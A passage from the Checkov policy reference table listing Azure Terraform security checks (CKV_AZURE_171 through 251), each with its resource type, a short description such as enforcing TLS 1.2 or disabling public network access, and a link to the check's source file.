CKV_AZURE_171   | resource | azurerm_kubernetes_cluster                                       | Ensure AKS cluster upgrade channel is chosen                                                                                                                                                             | Terraform | [AKSUpgradeChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSUpgradeChannel.py)                                                                                           |\n| 3896 | CKV_AZURE_172   | resource | azurerm_kubernetes_cluster                                       | Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters                                                                                                                                 | Terraform | [AKSSecretStoreRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSSecretStoreRotation.py)                                                                                 |\n| 3897 | CKV_AZURE_173   | resource | azurerm_api_management                                           | Ensure API management uses at least TLS 1.2                                                                                                                                                              | Terraform | [APIManagementMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementMinTLS12.py)                                                                                   |\n| 3898 | CKV_AZURE_174   | resource | azurerm_api_management                                           | Ensure API management public access is disabled                                                                                                                                                          | Terraform | [APIManagementPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementPublicAccess.py)                                                                           |\n| 3899 | CKV_AZURE_175   | resource | azurerm_web_pubsub                                               | Ensure Web PubSub uses a SKU with an SLA                                                                                                                                                                 | Terraform | [PubsubSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PubsubSKUSLA.py)                                                                                                     |\n| 3900 | CKV_AZURE_176   | resource | azurerm_web_pubsub                                               | Ensure Web PubSub uses managed identities to access Azure resources                                                                                                                                      | Terraform | [PubsubSpecifyIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PubsubSpecifyIdentity.py)                                                                                   |\n| 3901 | CKV_AZURE_177   | resource | azurerm_windows_virtual_machine                                  | Ensure Windows VM enables automatic updates                                                                                                                                                              | Terraform | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/WinVMAutomaticUpdates.py)                                                                                   |\n| 3902 | CKV_AZURE_177   | resource | azurerm_windows_virtual_machine_scale_set                        | Ensure Windows VM enables automatic updates                                                                                                                                                              | Terraform | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/WinVMAutomaticUpdates.py)                                                                                   |\n| 3903 | CKV_AZURE_178   | resource | azurerm_linux_virtual_machine                                    | Ensure linux VM enables SSH with keys for secure communication                                                                                                                                           | Terraform | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/LinuxVMUsesSSH.py)                                                                                                 |\n| 3904 | CKV_AZURE_178   | resource | azurerm_linux_virtual_machine_scale_set                          | Ensure linux VM enables SSH with keys for secure communication                                                                                                                                           | Terraform | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/LinuxVMUsesSSH.py)                                                                                                 |\n| 3905 | CKV_AZURE_179   | resource | azurerm_linux_virtual_machine                                    | Ensure VM agent is installed                                                                                                                                                                             | Terraform | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py)                                                                                         |\n| 3906 | CKV_AZURE_179   | resource | azurerm_linux_virtual_machine_scale_set                          | Ensure VM agent is installed                                                                                                                                                                             | Terraform | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py)                                                                                         |\n| 3907 | CKV_AZURE_179   | resource | azurerm_windows_virtual_machine                                  | Ensure VM agent is installed                                                                                                                                                                             | Terraform | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py)                                                                                         |\n| 3908 | CKV_AZURE_179   | resource | azurerm_windows_virtual_machine_scale_set                        | Ensure VM agent is installed                                                                                                                                                                             | Terraform | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py)                                                                                         |\n| 3909 | CKV_AZURE_180   | resource | azurerm_kusto_cluster                                            | Ensure that data explorer uses Sku with an SLA                                                                                                                                                           | Terraform | [DataExplorerSKUHasSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataExplorerSKUHasSLA.py)                                                                                   |\n| 3910 | CKV_AZURE_181   | resource | azurerm_kusto_cluster                                            | Ensure that data explorer/Kusto uses managed identities to access Azure resources securely.                                                                                                              | Terraform | [DataExplorerServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataExplorerServiceIdentity.py)                                                                       |\n| 3911 | CKV_AZURE_182   | resource | azurerm_virtual_network                                          | Ensure that VNET has at least 2 connected DNS Endpoints                                                                                                                                                  | Terraform | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VnetSingleDNSServer.py)                                                                                       |\n| 3912 | CKV_AZURE_182   | resource | azurerm_virtual_network_dns_servers                              | Ensure that VNET has at least 2 connected DNS Endpoints                                                                                                                                                  | Terraform | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VnetSingleDNSServer.py)                                                                                       |\n| 3913 | CKV_AZURE_183   | resource | azurerm_virtual_network                                          | Ensure that VNET uses local DNS addresses                                                                                                                                                                | Terraform | [VnetLocalDNS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VnetLocalDNS.py)                                                                                                     |\n| 3914 | CKV_AZURE_184   | resource | azurerm_app_configuration                                        | Ensure 'local_auth_enabled' is set to 'False'                                                                                                                                                            | Terraform | [AppConfigLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigLocalAuth.py)                                                                                         |\n| 3915 | CKV_AZURE_185   | resource | azurerm_app_configuration                                        | Ensure 'Public Access' is not Enabled for App configuration                                                                                                                                              | Terraform | [AppConfigPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigPublicAccess.py)                                                                                   |\n| 3916 | CKV_AZURE_186   | resource | azurerm_app_configuration                                        | Ensure App configuration encryption block is set.                                                                                                                                                        | Terraform | [AppConfigEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigEncryption.py)                                                                                       |\n| 3917 | CKV_AZURE_187   | resource | azurerm_app_configuration                                        | Ensure App configuration purge protection is enabled                                                                                                                                                     | Terraform | [AppConfigPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigPurgeProtection.py)                                                                             |\n| 3918 | CKV_AZURE_188   | resource | azurerm_app_configuration                                        | Ensure App configuration Sku is standard                                                                                                                                                                 | Terraform | [AppConfigSku.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigSku.py)                                                                                                     |\n| 3919 | CKV_AZURE_189   | resource | azurerm_key_vault                                                | Ensure that Azure Key Vault disables public network access                                                                                                                                               | Terraform | [KeyVaultDisablesPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultDisablesPublicNetworkAccess.py)                                                       |\n| 3920 | CKV_AZURE_190   | resource | azurerm_storage_account                                          | Ensure that Storage blobs restrict public access                                                                                                                                                         | Terraform | [StorageBlobRestrictPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageBlobRestrictPublicAccess.py)                                                               |\n| 3921 | CKV_AZURE_191   | resource | azurerm_eventgrid_topic                                          | Ensure that Managed identity provider is enabled for Azure Event Grid Topic                                                                                                                              | Terraform | [EventgridTopicIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridTopicIdentityProviderEnabled.py)                                                   |\n| 3922 | CKV_AZURE_192   | resource | azurerm_eventgrid_topic                                          | Ensure that Azure Event Grid Topic local Authentication is disabled                                                                                                                                      | Terraform | [EventgridTopicLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridTopicLocalAuthentication.py)                                                           |\n| 3923 | CKV_AZURE_193   | resource | azurerm_eventgrid_topic                                          | Ensure public network access is disabled for Azure Event Grid Topic                                                                                                                                      | Terraform | [EventgridTopicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridTopicNetworkAccess.py)                                                                       |\n| 3924 | CKV_AZURE_194   | resource | azurerm_eventgrid_domain                                         | Ensure that Managed identity provider is enabled for Azure Event Grid Domain                                                                                                                             | Terraform | [EventgridDomainIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridDomainIdentityProviderEnabled.py)                                                 |\n| 3925 | CKV_AZURE_195   | resource | azurerm_eventgrid_domain                                         | Ensure that Azure Event Grid Domain local Authentication is disabled                                                                                                                                     | Terraform | [EventgridDomainLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridDomainLocalAuthentication.py)                                                         |\n| 3926 | CKV_AZURE_196   | resource | azurerm_signalr_service                                          | Ensure that SignalR uses a Paid Sku for its SLA                                                                                                                                                          | Terraform | [SignalRSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SignalRSKUSLA.py)                                                                                                   |\n| 3927 | CKV_AZURE_197   | resource | azurerm_cdn_endpoint                                             | Ensure the Azure CDN disables the HTTP endpoint                                                                                                                                                          | Terraform | [CDNDisableHttpEndpoints.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CDNDisableHttpEndpoints.py)                                                                               |\n| 3928 | CKV_AZURE_198   | resource | azurerm_cdn_endpoint                                             | Ensure the Azure CDN enables the HTTPS endpoint                                                                                                                                                          | Terraform | [CDNEnableHttpsEndpoints.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CDNEnableHttpsEndpoints.py)                                                                               |\n| 3929 | CKV_AZURE_199   | resource | azurerm_servicebus_namespace                                     | Ensure that Azure Service Bus uses double encryption                                                                                                                                                     | Terraform | [AzureServicebusDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusDoubleEncryptionEnabled.py)                                                 |\n| 3930 | CKV_AZURE_200   | resource | azurerm_cdn_endpoint_custom_domain                               | Ensure the Azure CDN endpoint is using the latest version of TLS encryption                                                                                                                              | Terraform | [CDNTLSProtocol12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CDNTLSProtocol12.py)                                                                                             |\n| 3931 | CKV_AZURE_201   | resource | azurerm_servicebus_namespace                                     | Ensure that Azure Service Bus uses a customer-managed key to encrypt data                                                                                                                                | Terraform | [AzureServicebusHasCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusHasCMK.py)                                                                                   |\n| 3932 | CKV_AZURE_202   | resource | azurerm_servicebus_namespace                                     | Ensure that Managed identity provider is enabled for Azure Service Bus                                                                                                                                   | Terraform | [AzureServicebusIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusIdentityProviderEnabled.py)                                                 |\n| 3933 | CKV_AZURE_203   | resource | azurerm_servicebus_namespace                                     | Ensure Azure Service Bus Local Authentication is disabled                                                                                                                                                | Terraform | [AzureServicebusLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusLocalAuthDisabled.py)                                                             |\n| 3934 | CKV_AZURE_204   | resource | azurerm_servicebus_namespace                                     | Ensure 'public network access enabled' is set to 'False' for Azure Service Bus                                                                                                                           | Terraform | [AzureServicebusPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusPublicAccessDisabled.py)                                                       |\n| 3935 | CKV_AZURE_205   | resource | azurerm_servicebus_namespace                                     | Ensure Azure Service Bus is using the latest version of TLS encryption                                                                                                                                   | Terraform | [AzureServicebusMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusMinTLSVersion.py)                                                                     |\n| 3936 | CKV_AZURE_206   | resource | azurerm_storage_account                                          | Ensure that Storage Accounts use replication                                                                                                                                                             | Terraform | [StorageAccountsUseReplication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountsUseReplication.py)                                                                   |\n| 3937 | CKV_AZURE_207   | resource | azurerm_search_service                                           | Ensure Azure Cognitive Search service uses managed identities to access Azure resources                                                                                                                  | Terraform | [AzureSearchManagedIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchManagedIdentity.py)                                                                         |\n| 3938 | CKV_AZURE_208   | resource | azurerm_search_service                                           | Ensure that Azure Cognitive Search maintains SLA for index updates                                                                                                                                       | Terraform | [AzureSearchSLAIndex.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchSLAIndex.py)                                                                                       |\n| 3939 | CKV_AZURE_209   | resource | azurerm_search_service                                           | Ensure that Azure Cognitive Search maintains SLA for search index queries                                                                                                                                | Terraform | [AzureSearchSLAQueryUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchSLAQueryUpdates.py)                                                                         |\n| 3940 | CKV_AZURE_210   | resource | azurerm_search_service                                           | Ensure Azure Cognitive Search service allowed IPS does not give public Access                                                                                                                            | Terraform | [AzureSearchAllowedIPsNotGlobal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchAllowedIPsNotGlobal.py)                                                                 |\n| 3941 | CKV_AZURE_211   | resource | azurerm_service_plan                                             | Ensure App Service plan suitable for production use                                                                                                                                                      | Terraform | [AppServiceSkuMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSkuMinimum.py)                                                                                     |\n| 3942 | CKV_AZURE_212   | resource | azurerm_service_plan                                             | Ensure App Service has a minimum number of instances for failover                                                                                                                                        | Terraform | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceInstanceMinimum.py)                                                                           |\n| 3943 | CKV_AZURE_213   | resource | azurerm_app_service                                              | Ensure that App Service configures health check                                                                                                                                                          | Terraform | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSetHealthCheck.py)                                                                             |\n| 3944 | CKV_AZURE_213   | resource | azurerm_linux_web_app                                            | Ensure that App Service configures health check                                                                                                                                                          | Terraform | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSetHealthCheck.py)                                                                             |\n| 3945 | CKV_AZURE_213   | resource | azurerm_windows_web_app                                          | Ensure that App Service configures health check                                                                                                                                                          | Terraform | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSetHealthCheck.py)                                                                             |\n| 3946 | CKV_AZURE_214   | resource | azurerm_linux_web_app                                            | Ensure App Service is set to be always on                                                                                                                                                                | Terraform | [AppServiceAlwaysOn.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAlwaysOn.py)                                                                                         |\n| 3947 | CKV_AZURE_214   | resource | azurerm_windows_web_app                                          | Ensure App Service is set to be always on                                                                                                                                                                | Terraform | [AppServiceAlwaysOn.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAlwaysOn.py)                                                                                         |\n| 3948 | CKV_AZURE_215   | resource | azurerm_api_management_backend                                   | Ensure API management backend uses https                                                                                                                                                                 | Terraform | [APIManagementBackendHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementBackendHTTPS.py)                                                                           |\n| 3949 | CKV_AZURE_216   | resource | azurerm_firewall                                                 | Ensure DenyIntelMode is set to Deny for Azure Firewalls                                                                                                                                                  | Terraform | [AzureFirewallDenyThreatIntelMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFirewallDenyThreatIntelMode.py)                                                             |\n| 3950 | CKV_AZURE_217   | resource | azurerm_application_gateway                                      | Ensure Azure Application gateways listener that allow connection requests over HTTP                                                                                                                      | Terraform | [AppGWUsesHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGWUsesHttps.py)                                                                                                 |\n| 3951 | CKV_AZURE_218   | resource | azurerm_application_gateway                                      | Ensure Application Gateway defines secure protocols for in transit communication                                                                                                                         | Terraform | [AppGWDefinesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGWDefinesSecureProtocols.py)                                                                       |\n| 3952 | CKV_AZURE_219   | resource | azurerm_firewall                                                 | Ensure Firewall defines a firewall policy                                                                                                                                                                | Terraform | [AzureFirewallDefinesPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFirewallDefinesPolicy.py)                                                                         |\n| 3953 | CKV_AZURE_220   | resource | azurerm_firewall_policy                                          | Ensure Firewall policy has IDPS mode as deny                                                                                                                                                             | Terraform | [AzureFirewallPolicyIDPSDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFirewallPolicyIDPSDeny.py)                                                                       |\n| 3954 | CKV_AZURE_221   | resource | azurerm_linux_function_app                                       | Ensure that Azure Function App public network access is disabled                                                                                                                                         | Terraform | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py)                                                               |\n| 3955 | CKV_AZURE_221   | resource | azurerm_linux_function_app_slot                                  | Ensure that Azure Function App public network access is disabled                                                                                                                                         | Terraform | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py)                                                               |\n| 3956 | CKV_AZURE_221   | resource | azurerm_windows_function_app                                     | Ensure that Azure Function App public network access is disabled                                                                                                                                         | Terraform | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py)                                                               |\n| 3957 | CKV_AZURE_221   | resource | azurerm_windows_function_app_slot                                | Ensure that Azure Function App public network access is disabled                                                                                                                                         | Terraform | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py)                                                               |\n| 3958 | CKV_AZURE_222   | resource | azurerm_linux_web_app                                            | Ensure that Azure Web App public network access is disabled                                                                                                                                              | Terraform | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePublicAccessDisabled.py)                                                                 |\n| 3959 | CKV_AZURE_222   | resource | azurerm_windows_web_app                                          | Ensure that Azure Web App public network access is disabled                                                                                                                                              | Terraform | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePublicAccessDisabled.py)                                                                 |\n| 3960 | CKV_AZURE_223   | resource | azurerm_eventhub_namespace                                       | Ensure Event Hub Namespace uses at least TLS 1.2                                                                                                                                                         | Terraform | [EventHubNamespaceMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventHubNamespaceMinTLS12.py)                                                                           |\n| 3961 | CKV_AZURE_224   | resource | azurerm_mssql_database                                           | Ensure that the Ledger feature is enabled on database that requires cryptographic proof and nonrepudiation of data integrity                                                                             | Terraform | [SQLDatabaseLedgerEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLDatabaseLedgerEnabled.py)                                                                             |\n| 3962 | CKV_AZURE_225   | resource | azurerm_service_plan                                             | Ensure the App Service Plan is zone redundant                                                                                                                                                            | Terraform | [AppServicePlanZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePlanZoneRedundant.py)                                                                       |\n| 3963 | CKV_AZURE_226   | resource | azurerm_kubernetes_cluster                                       | Ensure ephemeral disks are used for OS disks                                                                                                                                                             | Terraform | [AKSEphemeralOSDisks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEphemeralOSDisks.py)                                                                                       |\n| 3964 | CKV_AZURE_227   | resource | azurerm_kubernetes_cluster                                       | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources                                                                                             | Terraform | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEncryptionAtHostEnabled.py)                                                                         |\n| 3965 | CKV_AZURE_227   | resource | azurerm_kubernetes_cluster_node_pool                             | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources                                                                                             | Terraform | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEncryptionAtHostEnabled.py)                                                                         |\n| 3966 | CKV_AZURE_228   | resource | azurerm_eventhub_namespace                                       | Ensure the Azure Event Hub Namespace is zone redundant                                                                                                                                                   | Terraform | [EventHubNamespaceZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventHubNamespaceZoneRedundant.py)                                                                 |\n| 3967 | CKV_AZURE_229   | resource | azurerm_mssql_database                                           | Ensure the Azure SQL Database Namespace is zone redundant                                                                                                                                                | Terraform | [SQLDatabaseZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLDatabaseZoneRedundant.py)                                                                             |\n| 3968 | CKV_AZURE_230   | resource | azurerm_redis_cache                                              | Standard Replication should be enabled                                                                                                                                                                   | Terraform | [RedisCacheStandardReplicationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCacheStandardReplicationEnabled.py)                                                     |\n| 3969 | CKV_AZURE_231   | resource | azurerm_app_service_environment_v3                               | Ensure App Service Environment is zone redundant                                                                                                                                                         | Terraform | [AppServiceEnvironmentZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnvironmentZoneRedundant.py)                                                         |\n| 3970 | CKV_AZURE_232   | resource | azurerm_kubernetes_cluster                                       | Ensure that only critical system pods run on system nodes                                                                                                                                                | Terraform | [AKSOnlyCriticalPodsOnSystemNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSOnlyCriticalPodsOnSystemNodes.py)                                                             |\n| 3971 | CKV_AZURE_233   | resource | azurerm_container_registry                                       | Ensure Azure Container Registry (ACR) is zone redundant                                                                                                                                                  | Terraform | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACREnableZoneRedundancy.py)                                                                               |\n| 3972 | CKV_AZURE_234   | resource | azurerm_security_center_subscription_pricing                     | Ensure that Azure Defender for cloud is set to On for Resource Manager                                                                                                                                   | Terraform | [AzureDefenderDisabledForResManager.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderDisabledForResManager.py)                                                         |\n| 3973 | CKV_AZURE_235   | resource | azurerm_container_group                                          | Ensure that Azure container environment variables are configured with secure values only                                                                                                                 | Terraform | [AzureContainerInstanceEnvVarSecureValueType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureContainerInstanceEnvVarSecureValueType.py)                                       |\n| 3974 | CKV_AZURE_236   | resource | azurerm_cognitive_account                                        | Ensure that Cognitive Services accounts disable local authentication                                                                                                                                     | Terraform | [CognitiveServicesEnableLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CognitiveServicesEnableLocalAuth.py)                                                             |\n| 3975 | CKV_AZURE_237   | resource | azurerm_container_registry                                       | Ensure dedicated data endpoints are enabled.                                                                                                                                                             | Terraform | [ACRDedicatedDataEndpointEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRDedicatedDataEndpointEnabled.py)                                                               |\n| 3976 | CKV_AZURE_238   | resource | azurerm_cognitive_account                                        | Ensure that all Azure Cognitive Services accounts are configured with a managed identity                                                                                                                 | Terraform | [CognitiveServicesConfigureIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CognitiveServicesConfigureIdentity.py)                                                         |\n| 3977 | CKV_AZURE_239   | resource | azurerm_synapse_workspace                                        | Ensure Azure Synapse Workspace administrator login password is not exposed                                                                                                                               | Terraform | [SynapseWorkspaceAdministratorLoginPasswordHidden.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceAdministratorLoginPasswordHidden.py)                             |\n| 3978 | CKV_AZURE_240   | resource | azurerm_synapse_workspace                                        | Ensure Azure Synapse Workspace is encrypted with a CMK                                                                                                                                                   | Terraform | [SynapseWorkspaceCMKEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceCMKEncryption.py)                                                                   |\n| 3979 | CKV_AZURE_241   | resource | azurerm_synapse_sql_pool                                         | Ensure Synapse SQL pools are encrypted                                                                                                                                                                   | Terraform | [SynapseSQLPoolDataEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseSQLPoolDataEncryption.py)                                                                     |\n| 3980 | CKV_AZURE_242   | resource | azurerm_synapse_spark_pool                                       | Ensure isolated compute is enabled for Synapse Spark pools                                                                                                                                               | Terraform | [AzureSparkPoolIsolatedComputeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSparkPoolIsolatedComputeEnabled.py)                                                     |\n| 3981 | CKV_AZURE_244   | resource | azurerm_storage_account                                          | Avoid the use of local users for Azure Storage unless necessary                                                                                                                                          | Terraform | [StorageLocalUsers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageLocalUsers.py)                                                                                           |\n| 3982 | CKV_AZURE_245   | resource | azurerm_container_group                                          | Ensure that Azure Container group is deployed into virtual network                                                                                                                                       | Terraform | [AzureContainerInstancePublicIPAddressType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureContainerInstancePublicIPAddressType.py)                                           |\n| 3983 | CKV_AZURE_246   | resource | azurerm_kubernetes_cluster                                       | Ensure Azure AKS cluster HTTP application routing is disabled                                                                                                                                            | Terraform | [KubernetesClusterHTTPApplicationRouting.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KubernetesClusterHTTPApplicationRouting.py)                                               |\n| 3984 | CKV_AZURE_247   | resource | azurerm_cognitive_account                                        | Ensure that Azure Cognitive Services account hosted with OpenAI is configured with data loss prevention                                                                                                  | Terraform | [OpenAICognitiveServicesRestrictOutboundNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/OpenAICognitiveServicesRestrictOutboundNetwork.py)                                 |\n| 3985 | CKV_AZURE_248   | resource | azurerm_batch_account                                            | Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny'                                                                                        | Terraform | [AzureBatchAccountEndpointAccessDefaultAction.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureBatchAccountEndpointAccessDefaultAction.py)                                     |\n| 3986 | CKV_AZURE_249   | resource | azuread_application_federated_identity_credential                | Ensure Azure GitHub Actions OIDC trust policy is configured securely                                                                                                                                     | Terraform | [GithubActionsOIDCTrustPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/GithubActionsOIDCTrustPolicy.py)                                                                     |\n| 3987 | CKV_AZURE_250   | resource | azurerm_storage_sync                                             | Ensure Storage Sync Service is not configured with overly permissive network access                                                                                                                      | Terraform | [StorageSyncServicePermissiveAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageSyncServicePermissiveAccess.py)                                                         |\n| 3988 | CKV_AZURE_251   | resource | azurerm_managed_disk                                             | Ensure Azure Virtual Machine disks are configured without public network access                                                                                                                          | Terraform | [VMDiskWithPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMDiskWithPublicAccess.py)                                                                                 |\n| 3989 | CKV2_AZURE_1    | resource | azurerm_storage_account                                          | Ensure storage for critical data are encrypted with Customer Managed Key                                                                                                                                 | Terraform | [StorageCriticalDataEncryptedCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageCriticalDataEncryptedCMK.yaml)                                                       |\n| 3990 | CKV2_AZURE_2    | resource | azurerm_mssql_server                                             | Ensure that 